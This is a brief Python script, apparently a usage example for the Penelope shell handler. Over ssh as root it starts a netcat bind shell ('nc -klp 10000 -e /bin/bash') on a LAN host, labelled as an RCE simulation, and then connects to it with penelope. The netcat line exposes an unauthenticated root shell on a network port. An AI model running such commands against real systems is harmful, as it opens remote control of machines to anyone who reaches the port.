#!/usr/bin/python3

SSH_USER = 'root'
TARGET = "192.168.0.101"
PORT = 10000

# RCE simulation
import subprocess
subprocess.call(['ssh',f'{SSH_USER}@{TARGET}','-f',f"nc -klp {PORT} -e /bin/bash"],stdin=subprocess.DEVNULL,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)

# Penelope
import penelope				# Importing penelope
penelope.options.silent = True		# Optionally
penelope.options.single_session = True	# Optionally
penelope.Connect(TARGET, PORT)		# Connect to bind shell
